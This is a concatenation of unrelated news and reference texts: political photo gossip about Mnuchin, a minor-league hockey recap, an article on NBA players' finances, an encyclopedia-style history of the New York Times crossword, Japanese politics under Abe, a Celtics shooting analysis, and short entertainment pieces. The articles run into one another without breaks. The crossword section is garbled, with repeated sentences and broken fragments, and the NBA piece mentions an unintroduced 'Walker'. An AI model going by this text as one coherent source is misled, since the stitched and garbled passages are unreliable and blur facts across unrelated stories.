Many said the optics of the photograph lent the two the aura of a pair of Hollywood villains. Perhaps it was Linton’s sharp stare and long black gloves. Clad in all black, Linton clasped the sheet of money the way a royal might hold her hand to be kissed.
“Why do Treasury Sec Mnuchin and his wife insist on posing for photos that make them look like Bond villains?” wrote CNBC reporter Christina Wilkie.
Everyone's focused on Steve Mnuchin & the sheet of money but no one's talking about how his wife has been murdering Toons in The Dip. pic.twitter.com/iTcJlXKcS6 — Johnny McNulty, god dammit. (@JohnnyMcNulty) November 15, 2017
The Fox News website described the images as a “big money photo op.”
It is not the first photo of Mnuchin, a former banker and Hollywood producer, and Linton, an actress, to raise eyebrows. A post Linton made on Instagram over the summer, in which she tagged many of the luxury fashion brands she wore on the trip alongside a photo of her and Mnuchin descending the steps of a government plane, drew harsh criticism. Linton then criticized a commenter who questioned why she had promoted the brands, by boasting about her wealth.
[Treasury secretary’s wife boasts of travel on government plane, touts Hermes and Valentino fashion]
“Have you given more to the economy than me and my husband?” she wrote on a now-deleted Instagram post.
A memoir that Linton self-published about a six-month stint in living in Zambia in 1999 was widely denounced for being littered with inaccuracies, and being “falsified,” according to the Zambian High Commission in London.
Mnuchin has also drawn scrutiny for his use of government aircraft to travel.
Read more:
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Cards Against Humanity is doing ________ to stop Trump’s border wall
American Heart Association president has heart attackBolstered by six players reassigned from the Lightning, the Syracuse Crunch defeated the Utica Comets 7-2 on Wednesday night. Cory Conacher led the way with three points as the Crunch used a five-goal outburst in the third period to pull away.
It was a big win for the Crunch who gained ground on the idle Toronto Marlies. Syracuse now trails them by one point for first place in the division. For Utica, the loss deals a huge blow to their postseason chances as they failed to close the gap on St. John’s for the final spot in the North Division.
In goal for Syracuse was veteran Mike McKenna while rookie Thatcher Demko suited up for Utica.
First Period:
The Crunch didn’t waste any time jumping out in front as Erik Condra redirected a pass from Tye McGinn past Utica goaltender Thatcher Demko at the 1:20 mark. It was the captain’s 14th goal of the season for the Crunch.
From there the teams spent equal time in each other’s zone without much to show to show for it. Syracuse fired several pucks wide of the net while Utica had trouble getting pucks on net as the Crunch blocked several opportunities.
Mathieu Brodeur tried to get some excitement going by dropping the mitts with Utica forward Joseph LaBate. Neither of the towering players (both are listed at 6’5”) landed clean shots, but Brodeur did pick up an extra roughing penalty. The Crunch killed the penalty without much of a threat.
Condra had another chance for Syracuse halfway through the period as rookie Brett Howden found him behind the Utica defense. Condra had a partial breakaway but put the puck wide of the net. A minute later Condra was open again after Jake Dotchin found him with a rink-long pass. Condra got the shot on net this time, but Demko swallowed it up.
Utica tied the game just as their second power play of the game expired. Michael Carcone tied the game up with his 4th goal of the season from a really bad angle. Skating behind the Crunch net, he tried to sell a wraparound attempt before pulling up short. The puck ended up with Utica forward Borna Rendulic who fired it of the side of the net.
Unfortunately McKenna lost sight of the puck and pulled off the post enough for Carcone to bounce the second attempt off the Crunch goaltender’s leg and into the net. Following the goal, the Comets started to drive the play a little more. McKenna made several stops in the final thirty seconds to keep the game tied at one.
Second Period:
Ben Thomas doubled the Crunch shot total in the first minute of the second period as he tested Demko with a pair of shots. It was, however, Utica that had the first chance to score. Henri Ikonen had to take a tripping penalty to prevent a wide open Comet from putting a rebound past McKenna.
Following the penalty, Conacher found himself driving down the left wing with Utica defenseman Malcolm Subban on his tail. Conacher had the inside edge and drove to the net. He didn’t score and ended up running Demko. Subban didn’t care for that and he took out his anger on Conacher. A minor brawl ensued with no real damage being done other than Subban (roughing) and Conacher (charging) getting to sit in the penalty box.
There was a little more life in the Crunch following the dustup. Koekkoek drove into the Utica zone and left a nice drop pass to Yanni Gourde whose shot was stopped by a screened Demko who was shaken up by the shot. He did stay in the game.
Shortly after a nice play by Gourde led to the the Crunch’s second goal. The diminutive forward skated to the net with Adam Erne, but didn’t have a passing lane. Instead of shooting or forcing a pass he held up and waited for the trailing Matt Taormina. The Crunch defenseman glided in front of the net and put the puck past Demko for his 15th goal of the season.
Utica would tie it up after a questionable non-call. Wacey Hamilton skated into the Syracuse Crunch zone and was able to get by Taormina by elbowing him in the head. Without a defenseman in front of him, Hamilton had a clear path to the net. McKenna stopped his shot but couldn’t find the rebound. Cole Cassels could, and he put the puck into the net.
Following the goal, Dotchin picked up a 4 minute high-sticking call and a game 10-minute misconduct. The Crunch were able to generate some chances shorthanded, but Demko made a diving save to keep the puck out of the net and the period ended tied at two.
Third Period
The Crunch killed off the final minute of Dotchin’s penalty and then picked up a power play of their own. From then on it was all Syracuse. McGinn cashed in on the Crunch’s third man advantage of the night as he swatted a rebound out of the air and past Demko.
Four minutes later Michael Bournival celebrated his return to the Crunch by doubling the Syracuse lead. Joel Vermin slipped a hip check at the blueline and then slid the puck to Bournival who shot it into an unguarded net.
The goals kept coming as Conacher potted one on the power play. The team’s leading scorer was camped out to Demko’s left and Adam Erne was able to slide a cross-ice pass to him. Conacher didn’t miss as he fired the puck into the net before the Utica goaltender could slide over.
Desperate to stay in the playoff race, the Comets pulled their goalie with 5 minutes to go. Just over thirty seconds later Erne made them pay by shooting the puck into the empty net from just inside the Utica blueline.
As one can imagine, Utica didn’t take the blowout well as Curtis Valk dropped the gloves with Tanner Richard. Following the scrum, Bournival picked up his second goal of the game as Jake Dotchin bounced a puck off him and into the net on the power play. The game and possibly Utica’s season quietly ended a few minutes later.
Three stars of the game: 3. Yanni Gourde, 2. Cory Conacher, 1. Tye McGinn
Game Notes: Gabe Dumont did not dress as he was spending time with his new child....the Crunch had two shots in the first period, both by Condra...seven Crunch players had multiple points...McKenna ended with 23 saves.
Full game highlights below.(CNN) Less than an hour after signing his first professional contract, 20-year-old Shaquille O'Neal had already spent his first million.
"The first thing I wanted to do was relieve my parents of their jobs," O'Neal told CNN ahead of the new 2015-2016 NBA season in Oakland, California. "I (spent) a million dollars in about 45 minutes, but it was well worth it."
The most dominant player in the league during his prime, O'Neal would go on to make a further $291 million in NBA salary alone, according to basketball-reference.com, while earning four titles before settling into life as an studio analyst for TNT's "Inside the NBA."
"My momma is happy, her house is paid for; she had the car that she knows she would never get in her dreams, a Mercedes-Benz. My father (had) one, I had one. I was good," O'Neal says, reflecting on the overnight lifestyle upgrade that affects young professionals in the world's best paying league.
"But now you have to educate yourself on how to maintain that, and a lot of people don't do that."
JUST WATCHED NBA: Avoiding the pitfalls of overnight riches Replay More Videos... MUST WATCH NBA: Avoiding the pitfalls of overnight riches 02:57
Truer words were never spoken.
Off the court, O'Neal was also a prolific earner as he starred in movies and released rap albums, while endorsing a bevy of products including Reebok, Burger King and Pepsi.
Going for broke
But not every pro has Shaq's career longevity or earning power off the court.
In fact -- in a statistic which has become infamous to detractors of professional sports -- 60% of NBA players go broke within five years of retirement, according to a 2009 Sports Illustrated article (more alarming is the assertion that 78% of NFL players fall under financial duress within two years of exiting the league).
The NBA average salary stands at $4.7 million -- already the highest among team sports globally -- and is set to jump dramatically once the collective bargaining agreement between the players' union and the league is renegotiated in 2017.
Annual TV money flowing into the NBA will nearly triple next season to $2.7 billion, according to the Wall Street Journal. That's due to the immediate nature of watching live sports -- one of the only remaining bits of programming that advertisers are willing to pony up for.
Currently, NBA players are guaranteed to reap about half of the league's revenue in salary, and will push for a bigger slice of an exponentially growing pie in two years. That's precisely why LeBron James, the NBA's biggest star, would not sign a contract with the Cavaliers beyond 2017.
Family trip Season 2 begins now. Off to Hawaii. @ms_deidre better hurry up and catch up. Lol! #JamesGang #BrinsonNorris #WorkHardForMyFamilyToLive A photo posted by LeBron James (@kingjames) on Jul 20, 2015 at 8:33pm PDT
With the bank accounts of the fortunate 450 members of the league set to swell, grasping the basics of financial planning is key, say the pros.
"Advice number one: learn what annuities are," said O'Neal, as he advocated a strategy of investing in securities that offer revenue streams year after year, rather than spending on luxury items that depreciate the moment they leave the showroom.
Another option, says O'Neal, is to manage money the old-fashioned way: put most of it in the bank for retirement, which he says he did with 75% of his income.
"You want cars, you want diamond earrings, you want jewelery?" he asks. "Do whatever you want (with the other 25%)."
"But it's hard," he confesses. "Guys got families, girlfriends, stuff like that. But, a guy taught me that in 1995 and it worked, it worked for me."
Lavish lifestyle
The concept of saving money, however, is relative.
Even though Shaq still had millions left when his career ended, in his heyday he sported a lifestyle that cost $875,000 a month, according to public records stemming from his divorce proceedings with ex-wife Shaunie O'Neal ( a monthly itemization included $24,300 on fuel, $17,200 on clothes and $6,730 on dry cleaning ).
O'Neal's former on-court foe and current in-studio rival at TNT, Charles Barkley, adds that those closest to the player are often the biggest financial burdens once he makes it big.
"They're the worst, your family and friends when it comes to money, because everyone has got their hand out -- and you kind of let your guard down with your family and friends," Barkley says.
"No matter how much money you make, it's going to be a very small window of your life."
His former teammate Kenny Anderson suffered a similar fate, filing for bankruptcy at 35 after accumulating $63 million over a 14-year career. Apart from his lavish spending, Anderson racked up high child support bills after fathering seven children from five women, according to the New York Times.
For the record, Barkley has said that he now sets a stop loss at the casino of a couple of hundred thousand dollars, to ensure it doesn't spoil his weekend.
"It's like anything, if you do it in moderation, it's alright," he told Seth Davis on Campus Insiders.
'Too-good-to-be-true'
Saving money as a professional athlete is not as easy as it sounds.
For starters, agents can command fees of up to 4% of the contract's value, while federal and state taxes can eat up about half of what's left -- not to mention the allure of too-good-to-be-true investments.
Part of Walker's downfall was making passive investments in real estate, which banks foreclosed on during the credit crunch, through a business associate who was later jailed for running a mortgage scam.
"I always tell guys they should not invest their money until they stop playing, because if you invest once you are done playing at least you can watch (your money) and be on top of it," he told ESPN
Walker also said it was the competitive nature inherent in athletes that caused him to buy a $350,000 Maybach car. "We are competitive and (are) always trying to outdo each other, and those things add up to us making these bad decisions," he said.
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Because of stories like Walker's, the NBA took a positive first step in achieving financial stability for retired players when it agreed to deposit 1% of the league's "basketball-related income" into a pension fund as part of its 2011 deal with the players' union.
For the season ending in 2014, the contribution totaled an estimated $48 million. In addition, players are encouraged to contribute up to 10% of their earnings into the retirement scheme which kicks in at age 50.
It remains to be seen whether the NBA will emphasize the pension initiative further during the next labor agreements. A league spokesman declined to comment on the number of players who signed up for the contribution plan, citing privacy issues.
A likely scenario, however, has players and the league battling on two key issues: an owner proposed "hard cap," instituting a strict ceiling on cumulative team salaries, and a curb on guaranteed contracts, which can burden owners with nine-figure payments for players who succumb to career ending injuries or eroding skills.
Chasing perfection, not riches
Kobe Bryant, who recently announced he will retire at the end of this season, is now the league's highest paid player.
O'Neal, who in his second-to-last season received $20 million from the Cleveland Cavaliers despite making limited appearances due to injury, understands the plight of the owners.
"There's going to be a lot of money coming up, but the only downside to that is a lot of organizations pay the guys (millions) and then the guys don't perform," he says. "And then they want to go back and complain, 'Oh, we're paying this guy too much.'"
Another argument suggests that a player is less likely to be motivated once his finances are secured for up to six years (currently the maximum length of an NBA contract).
"Sometimes guys start making money, they don't want to be a great player," says Barkley, who earned a relatively paltry $40 million during his Hall of Fame career.
JUST WATCHED Kobe Bryant announces he will retire Replay More Videos... MUST WATCH Kobe Bryant announces he will retire 01:30
"You ask me, that's probably the biggest difference when I played to now. Now they just give you money. Back in my day... you used to work hard to get a lot of money. Now they give everybody a lot of money because of the television revenue."
The finest in the game, however, are not motivated by money in the first place, according to "Inside the NBA" host Ernie Johnson.
"For the best, I don't think it's changed the way the game is played at all," he says, while accepting that other players only rise to the occasion during "contract years" when their salaries are set to expire.
"The guys that tier down, sometimes it can make (their) performance deteriorate, sometimes it can make (them) try to perform at the expense of what's good for (their) team," he says.
Kenny Smith, who won two championships as a starting point guard with the Houston Rockets, concurs: "If you concentrate on the amount of money you're going to make, you're not going to be a good player."
Playing in a pre-TV windfall era from 1987 to 1997, Smith earned $13 million in total and never more than $2.7 million in any year. "Chasing a dollar never motivated the best players. Chasing to be the best always motivated them and then the dollars just flowed in," he offers.
Nevertheless, there is a sense among the truly great players that however much money they earned, they probably should have been paid even more.
"If DeAndre Jordan is making 20 (million ), how much would I have made?" asks O'Neal, referring to the Los Angeles Clippers center, the fifth-highest scorer on his team.
"That's how you got to look at it."The New York Times crossword puzzle is a daily puzzle published in The New York Times, online at the newspaper's website, syndicated to more than 300 other newspapers and journals,[1] and available as mobile apps.[2][3][4][5]
The puzzle is created by various freelance constructors and has been edited by Will Shortz since 1993. The puzzle becomes increasingly difficult throughout the week, with the easiest puzzle on Monday and the most difficult puzzle on Saturday.[6] The larger Sunday crossword, which appears in The New York Times Magazine, is an icon in American culture; it is typically intended to be as difficult as a Thursday puzzle.[6] The standard daily crossword is 15 squares × 15 squares, while the Sunday crossword measures 21 squares × 21 squares (previously, 23 × 23 square Sunday puzzles were also accepted; in addition a special set of 25 × 25 Sunday puzzles, with two sets of clues—easy and hard—was published in 1999 to commemorate the upcoming millennium).[7][8]
History [ edit ]
While crosswords became popular in the early 1920s, it was not until 1942 that The New York Times (which initially regarded crosswords as frivolous, calling them "a primitive form of mental exercise") began running a crossword in its Sunday edition.[9][10] The first puzzle ran on Sunday, February 15, 1942. The motivating impulse for the Times to finally run the puzzle (which took over 20 years even though its publisher, Arthur Hays Sulzberger, was a longtime crossword fan) appears to have been the bombing of Pearl Harbor; in a memo dated December 18, 1941, an editor conceded that the puzzle deserved space in the paper, considering what was happening elsewhere in the world and that readers might need something to occupy themselves during blackouts.[10] The puzzle proved popular, and Sulzberger himself would author a Times puzzle before the year was out.[10]
In 1950, the crossword became a daily feature. That first daily puzzle was published without an author line, and to this day the identity of the author of the first weekday Times crossword remains unknown.[11]
There have been four editors of the puzzle: Margaret Farrar from the puzzle's inception until 1969; Will Weng, former head of the Times's metropolitan copy desk, until 1977; Eugene T. Maleska until his death in 1993; and the current editor, Will Shortz. In addition to editing the Times crosswords, Shortz founded and runs the annual American Crossword Puzzle Tournament as well as the World Puzzle Championship (where he remains captain of the US team), has published numerous books of crosswords, sudoku, and other puzzles, authors occasional variety puzzles (a.k.a. "Second Sunday puzzles"; see below) to appear alongside the Sunday Times puzzle, and serves as "Puzzlemaster" on the NPR show "Weekend Edition Sunday".[12][13]
The popularity of the puzzle grew over the years, until it came to be considered the most prestigious of the widely circulated crosswords in America; its popularity is attested to by the numerous celebrities and public figures who've publicly proclaimed their liking for the puzzle, including opera singer Beverly Sills,[10] author Norman Mailer,[14] baseball pitcher Mike Mussina,[15] former President Bill Clinton,[16] conductor Leonard Bernstein,[10] TV host Jon Stewart[15] and music duo the Indigo Girls.[15]
The Times puzzles have been collected in hundreds of books over the years from various publishers, most notably Random House and St. Martin's Press, the current publisher of the series.[17] In addition to their appearance in the printed newspaper, the Times puzzles also appear online at the paper's website, where they require a separate subscription to access.[18] In 2007, Majesco Entertainment released The New York Times Crosswords game, a video game adaptation for the Nintendo DS handheld. The game includes over 1,000 Times crosswords from all days of the week. Various other forms of merchandise featuring the puzzle have been created over the years, including dedicated electronic crossword handhelds that just contain Times crosswords, as well as a variety of Times crossword-themed memorabilia including cookie jars, baseballs, cufflinks, plates, coasters, mousepads, and the like.[17]
Style and conventions [ edit ]
Will Shortz does not write the Times crossword himself; the puzzles are submitted to him by a wide variety of contributors. A full specification sheet listing the paper's requirements for crossword puzzle submission can be found online (see "External Links") or by writing to the paper. Aside from increasing in difficulty throughout the week, the Monday-Thursday puzzles and the Sunday puzzle always have a theme, some sort of connection between at least three long (usually Across) answers, such as a similar type of pun, letter substitution, or alteration in each entry. Another theme type is that of a humorous quotation broken up into symmetrical portions and spread throughout the grid. For example, the February 11, 2004, puzzle by Ethan Friedman featured a theme quotation: ANY IDIOT CAN FACE / A CRISIS IT'S THIS / DAY-TO-DAY LIVING / THAT WEARS YOU OUT.[19] (This quote has been attributed to Anton Chekhov, but this attribution is in dispute and the specific source has not been identified.) Notable dates such as holidays or anniversaries of famous events are often commemorated with an appropriately themed puzzle, although only two are currently commemorated on a routine annual basis: Christmas and April Fool's Day.[20] The Friday and Saturday puzzles, the most difficult in the paper, are usually unthemed and "wide open", with fewer black squares and more long words. The maximum word count for a themed weekday puzzle is normally 78 words, while the maximum for an unthemed Friday or Saturday puzzle is 72; Sunday puzzles must contain 140 words or fewer.[8] Given the Times's reputation as a paper for a literate, well-read, and somewhat arty audience, puzzles frequently reference works of literature, art, or classical music, as well as modern TV, movies, or other touchstones of popular culture.[8]
The puzzle follows a number of conventions, both for tradition's sake and to aid solvers in completing the crossword:
Nearly all the Times crossword grids have rotational symmetry: they can be rotated 180 degrees and remain identical. Rarely, puzzles with only vertical or horizontal symmetry can be found; yet rarer are asymmetrical puzzles, usually when an unusual theme requires breaking the symmetry rule. This rule has been part of the puzzle since the beginning; when asked why, initial editor Margaret Farrar is said to have responded, "Because it is prettier." [10]
crossword grids have rotational symmetry: they can be rotated 180 degrees and remain identical. Rarely, puzzles with only vertical or horizontal symmetry can be found; yet rarer are asymmetrical puzzles, usually when an unusual theme requires breaking the symmetry rule. This rule has been part of the puzzle since the beginning; when asked why, initial editor Margaret Farrar is said to have responded, "Because it is prettier." Any time a clue contains the tag "abbr." or an abbreviation more significant than "e.g.", the answer will be an abbreviation (e.g., M.D. org. = AMA ). [6]
= ). Any time a clue ends in a question mark, the answer is a play on words. [6]
Occasionally, themed puzzles will require certain squares to be filled in with a symbol, multiple letters, or a word, rather than one letter (so-called "rebus" puzzles). This symbol/letters/word will be repeated throughout in each themed entry. For example, the December 6, 2012 puzzle by Jeff Chen featured a rebus theme based on the chemical pH scale used for acids and bases, which required the letters "pH" to be written (together in a single square) in several locations in the puzzle (in the middle of entries such as "trium pH " or "so pH ocles"). [21]
" or "so ocles"). French-, Spanish-, or Latin-language answers, and more rarely answers from other languages are indicated either by a tag in the clue giving the answer language (e.g., 'Summer: Fr.' = ETE) or by the use in the clue of a word from that language, often a personal or place name (e.g. 'Friends of Pierre' = AMIS or 'The ocean, e.g., in Orleans' = EAU). [6]
Clues and answers must always match in part of speech, tense, number, and degree. Thus a plural clue always indicates a plural answer (and the same for singular), a clue in the past tense will always be matched by an answer in the same tense, and a clue containing a comparative or superlative will always be matched by an answer in the same degree. [6]
The answer word (or any of the answer words, if it consists of multiple words) will never appear in the clue itself. Unlike in some easier puzzles in other outlets, the number of words in the answer is not indicated in the clue itself—so a one-word clue can mean a multiple-word answer. [22]
The theme, if any, will be applied consistently throughout the puzzle. e.g., if one of the theme entries is a particular variety of pun, all the theme entries will be of that type. [8]
In general, any words that might appear elsewhere in the newspaper, such as well-known brand names, pop culture figures, or current phrases of the moment, are fair game. [23]
No entries involving profanity, sad or disturbing topics, or overly explicit answers should be expected, though some have snuck in. The April 3, 2006 puzzle, contained the word SCUMBAG (a slang term for a condom), which had previously appeared in a Times article, quoting people using the word. Shortz apologized and said the term would not appear again. [24] [25] The word PENIS also appeared once in a Shortz-edited puzzle in 1995, clued as "The __ mightier than the sword." [26]
The word PENIS also appeared once in a Shortz-edited puzzle in 1995, clued as "The __ mightier than the sword." Spoken phrases are always indicated by enclosure in quotation marks, e.g., "Get out of here!" = LEAVE NOW. [22]
Short exclamations are sometimes clued by a phrase in square brackets, e.g., "[It's cold!]" = BRR. [22]
When the answer can only be substituted for the clue when preceding a specific other word, this other word is indicated in parentheses. For example, "Think (over)" = MULL, since "think" only means "mull" when preceding the word "over" (i.e., “think over” and “mull over” are synonymous, but “think” and “mull” are not necessarily synonymous otherwise). (The point here is that the single word “think” can be replaced by the single word “mull,” but only when the following word is “over.”)
When the answer needs an additional word in order to fit the clue, this other word is indicated with the use of "with." For example, "Become understood, with in" = SINK, since "Sink in" (but not “Sink” alone) means "to become understood." (The point here is that the single phrase “become understood” can be replaced with the single phrase “sink in,” regardless of whether or not it is followed by anything else.)
Times style is to always capitalize the first letter of a clue, regardless of whether the clue is a complete sentence or whether the first word is a proper noun. On occasion, this is used to deliberately create difficulties for the solver; e.g., in the clue "John, for one" it is ambiguous as to whether the clue is referring to the proper name John or to the slang term for a bathroom.[22]
Variety puzzles [ edit ]
Second Sunday puzzles [ edit ]
In addition to the primary crossword, the Times publishes a second Sunday puzzle each week, of varying types, something that the first crossword editor, Margaret Farrar, saw as a part of the paper's Sunday puzzle offering from the start; she wrote in a memo when the Times was considering whether or not to start running crosswords that "The smaller puzzle, which would occupy the lower part of the page, could provide variety each Sunday. It could be topical, humorous, have rhymed definitions or story definitions or quiz definitions. The combination of these two would offer meat and dessert, and catch the fancy of all types of puzzlers."[10] Currently, every other week is an acrostic puzzle authored by Emily Cox and Henry Rathvon, with a rotating selection of other puzzles, including diagramless crosswords, Puns and Anagrams, cryptics (a.k.a. "British-style crosswords"), Split Decisions, Spiral Crosswords, word games, and more rarely, other types (some authored by Shortz himself—the only puzzles he has created for the Times during his tenure as crossword editor).[18] Of these types, the acrostic has the longest and most interesting history, beginning on May 9, 1943, authored by Elizabeth S. Kingsley, who is credited with inventing the puzzle type, and continued to write the Times acrostic until December 28, 1952.[27] From then |
Fortified by his triumph, Mr Abe should now be free to press on with a robust version of Abenomics and its three “arrows”, of radical monetary easing by the Bank of Japan, extra fiscal stimulus of ¥10.3 trillion (about $100 billion) and supply-side reforms and deregulation. Before the election, LDP members warned that anything too radical could turn away voters. In June Mr Abe released only mild proposals for structural reform, disappointing the financial markets. Now he has no excuse to shrink from his task. A “second season” of the third arrow is expected in the autumn.
Those in favour of reform have a long list of demands, such as easing rules against sackings. Japanese agriculture could be made more competitive by lifting government limits on rice production, or by allowing companies to buy, not just rent, farmland from ageing and often inefficient small farmers. As for health care, another crucial area, in June the government proposed some easing of the tight regulations on medical treatment, which prevent patients from combining state-covered and private care. But this could go much further.
A problem is that a big chunk of Sunday’s seats were allocated, through proportional representation, to opponents of reform from within the coalition. They include the vice-chairman of Japan’s medical association and vocal critics of Japan’s move this week to join talks on the Trans-Pacific Partnership (TPP), a regional free-trade grouping. In the lower house anti-reform members of the LDP and New Komeito, confident of their seats, may now be emboldened to resist Abenomics more forcefully. Jakob Edberg of GR Japan, a lobbying firm, thinks that when the third arrow is properly loosed, it may consist of narrow, technical changes to regulations rather than a broader ideological push towards a more market-oriented economy.
A different sort of change may be on the horizon, however. The combination of the LDP, New Komeito and two small right-wing parties, the Japan Restoration Party and Your Party, together account for 162 seats, or a hypothetical two-thirds majority in the upper house. The coalition already holds a two-thirds majority in the lower house; these two majorities, if wielded, together with a majority of votes in a national referendum, are sufficient to amend the constitution.
Rewriting Japan’s liberal constitution, drawn up by America during its occupation in 1946, is Mr Abe’s dearest wish. Admittedly, he will need to persuade New Komeito, traditionally averse to constitutional change; but then it has also been averse to free trade and other reforms, and that has not always seemed to count for much. In other words, if New Komeito is willing, constitutional revision could become a possibility for the first time since the war. Momentum for change continues to build, says the Asahi Shimbun, a left-leaning newspaper. In a poll, it found three-quarters of the upper house of post-election members in favour of revision.
Mr Abe wants to rewrite irksome elements of the constitution, such as the pledge never to maintain a standing army, navy or air force (Japan already has powerful “self-defence forces”). He also wants to reintroduce pre-war anachronisms, such as reverence for the emperor and for the traditional family unit.
Mr Abe has pledged to keep revision down the agenda for now. Instead he says he will concentrate on strengthening Japan’s national-security apparatus by setting up a national-security council. Mr Abe will also press ahead with a less controversial reinterpretation of the constitution to allow Japan to come to the defence of its allies if they are attacked. Deciding how to alter the constitution will require a deep public debate, he said this week.
Even if he leaves constitutional revision aside, Mr Abe could have great bearing on Japan’s most important relationships in the region. During the campaign he struck a hawkish stance against China’s ongoing challenges to Japan’s control of the Senkaku islands in the East China Sea. (China, which calls them the Diaoyu, claims the tiny isles.) Even so, say the Japanese, both sides are working hard behind the scenes to try to ease tensions. Efforts are being made to set up a meeting between Mr Abe and Xi Jinping, China’s president. Diplomats are also working to prepare the ground for a meeting with Park Geun-hye, South Korea’s new president.
The prospect of such breakthroughs would vanish, however, if Mr Abe chooses to visit the controversial Yasukuni shrine in Tokyo, where high-ranking war criminals are honoured among Japan’s war dead. Mr Abe holds kookily favourable views about Japan’s war record. The days around August 15th, the anniversary of Japan’s defeat in the second world war, when visits to Yasukuni surge, are particularly sensitive. It is a dangerous time, too, around the Senkakus, where ultranationalists on both sides have attempted to posture in past years. Mr Abe will not say whether he will join dozens of other lawmakers who are sure to be at Yasukuni. Certainly, he knows that it is not a visit that Japan’s economy-obsessed voters have asked him to make.Smart is having a terrible month of shooting thus far. Can he turn it around, or is he becoming a serious liability when taking shots?
It’s no secret how important Marcus Smart has been for the Boston Celtics this season.
Whenever the Celtics need a quick steal, his aggressive defense creates turnovers. Whenever they need a key stop, you can count on him to draw a charge or plainly shut someone down. His size and athleticism allows him to guard almost anybody in the NBA, he’s an excellent rebounder and he has offensive value with his playmaking ability.
By serving such a crucial role in Boston’s rotation, it would seem there are no negatives in his game. But then again, there’s his shooting.
Rather, there’s his shooting as of late.
There have been many times over the course of Smart’s three-year career where his shot gets scalding hot, leaving many fans with excitement over what looks like an improved scoring ability. But this past month hasn’t given off that feeling.
By shooting 1-of-9 from behind the arc in a win over the Phoenix Suns Friday, Smart is now converting a woeful 18 percent of his 3-pointers in March. Considering that his 3.8 shots from deep per game makes up more than one-third of his 10.1 shots per game in the month, it makes sense that he’s shooting just 30 percent overall in the same span.
After looking at these numbers, it must be frustrating for fans to continuously watch Smart chuck up so many shots. It doesn’t matter if he’s shooting a career-best 34 percent from deep this season, as it’s become quite clear that the three-year veteran still hasn’t found a reliable stroke. And at this point, it’s becoming a legitimate concern for the Celtics heading into the postseason.
His performance against the Suns serves as a perfect example of just how damaging Smart’s shot selection – and misses – can be.
With 4:28 left in the first quarter, Smart subbed into the game as Boston held a 25-7 lead over Phoenix. In the Celtics’ very first possession, Smart missed a 3-pointer he took five feet behind the line. It’s usually not pleasant to see a guy who’s shooting 18 percent from 3 over the last 24 days take a shot that deep behind the line.
Smart missed another 3 just a few minutes later, and – while it’s hardly all his fault – the Suns went on a 9-4 run to close out the quarter.
Fast-forward to the 8:37 mark of the second quarter. Al Horford started to fall after grabbing an offensive rebound, so he kicked it out to Smart at the corner 3. Smart had made a 3-pointer a couple minutes earlier to go 1-of-3 thus far, so he must’ve gotten it in his head that he was “hot.” With 20 seconds left on the shot clock and a Phoenix player heavily contesting him, Smart pulled the trigger. Again.
And he missed. Again.
I’ll save the rest of the details, as most of you already know how the story goes. It’s always the same with how Smart operates on offense.
Whenever there’s a lull in scoring, he either pulls from beyond the arc – whether there’s a defender in his face or not – or bull rushes his way into a shot near the paint. Sometimes it works, and the Celtics heavily benefit from it. But it doesn’t work a lot of the time, and then Boston scrambles further on offense to try and generate something with one less possession.
In the games like the one the Celtics played on Friday against the Suns, it’s not a huge deal. Boston never forfeited a double-digit lead after the first six minutes of the game.
But Phoenix turned a once 26-point deficit into a 12-point deficit with 9:40 left in the fourth quarter. A big part of that was because Smart shot 1-of-12 up until that time, meaning there were 11 possessions that could’ve ended better. Yeah, his defense made up for it. Yeah, some of those shots were actually open looks.
Had this game been against the Cleveland Cavaliers in the playoffs, though, that comeback momentum would’ve most likely led to a two or three possession game come the final minutes of the fourth. Same with the Wizards and the Raptors.
Boston can’t afford to have such an important guy shoot so poorly over an extended period of time in the playoffs. And it certainly can’t afford to have a guy shooting so poorly take 13 shots – nine of them 3’s – in a game.
When playing against the top teams in the league, Smart and the rest of the Celtics need to be efficient from the field. That means when Smart is say 1-of-5 from behind the arc so far, maybe he shouldn’t try to bust out of the slump and take four more 3-pointers. Especially if they’re contested, which seems to be Smarts favorite time to shoot them.
Luckily for Boston, Smart almost always answers poor offense with excellent defense. But with playoffs just around the corner and more competitive teams waiting ahead, the Celtics are going to need better offense from one of their key rotation players.Oskar Schindler's former factory in the Czech Republic will be declared a listed monument, the Oskar-Schindler Foundation said on Thursday.
The foundation took over the management of the dilapidated building in the village of Brnenec in August. It plans to restore it and turn it into a Holocaust memorial by 2019.
Oskar Schindler's list
Oskar Schindler (1908-1974) was a German industrialist and Nazi spy whose story became famous through Steven Spielberg's 1993 Oscar-winning film "Schindler's List." By employing Jews in his ammunitions factory, the businessman defied the Nazi regime and saved the lives of 1,200 of them. He had written down the names of the people to be protected on a list.
The site of the factory has been open to visitors since 2010. It is located near the former concentration camp in Brnenec. As the only remaining Nazi concentration camp site in the country, "It is one of the best-known buildings in the Czech Republic," said Jaroslav Novak, the head of the foundation. The organization believes the memorial would attract more visitors to the region.
eg/kbm (dpa, KNA)Add Chris Pratt to the list of actors who have lost/gained a huge amount of weight for a movie role. Pratt, best known as the goofy Andy on PARKS AND RECREATION, has a key role in Kathryn Bigelow's ZERO DARK THIRTY. So, the normally average body typed Pratt had to bulk up for the part of a Navy SEAL. The results were shared with Conan O'Brien on his talk show.
Pratt, to put it bluntly, got f*cking ripped for the role. The iPhone photo he shared was emasculating for the best of us but surely a treat for his wife, actress Anna Faris. Pratt went on to gain 60 pounds to pay a schlubby lawyer for another movie (I assume it would be the Vince Vaughn movie THE DELIVERY MAN which is his only live action movie in production right now).
You have got to give it to Pratt as he certainly went all out for the job. The guy is a good actor in comedy and was good in MONEYBALL, but a true dramatic performance will remain to be seen. In the brief scene he shared with Conan from ZERO DARK THIRTY he looks like is will be fine, but we will have to wait until the movie is released to know for sure.
ZERO DARK THIRTY hits theaters in limited release on December 21st and everywhere on January 11th, 2013.From the 1967 BBC television series, ‘The Prisoner‘
Patrick McGoohan‘s influential opus, ‘The Prisoner’ does not thrive on mainstream popularity, but it is most certainly essential to the vernacular of science fiction and fantasy as cultural idioms.
During the early 1990’s, ‘Twin Peaks‘ was reshaping television by introducing surrealism on prime time, through a tale of mystery and intrigue. This is the same general appeal I found in ‘The Prisoner’, which utilizes the secretive world of Cold War espionage, to introduce larger ideas through representational imagery, an allegory. Visually striking and highly unusual to find such fare on the television set, I froze in my tracks as I happened upon the bizarre realm of The Village.
PBS affiliate, KUHT in Houston, programmed the series for a few months at 10 pm on Friday nights. PBS is/was home to lots of top notch British programming: Absolutely Fabulous, Are You Being Served?, Fawlty Towers, Keeping Up Appearances…
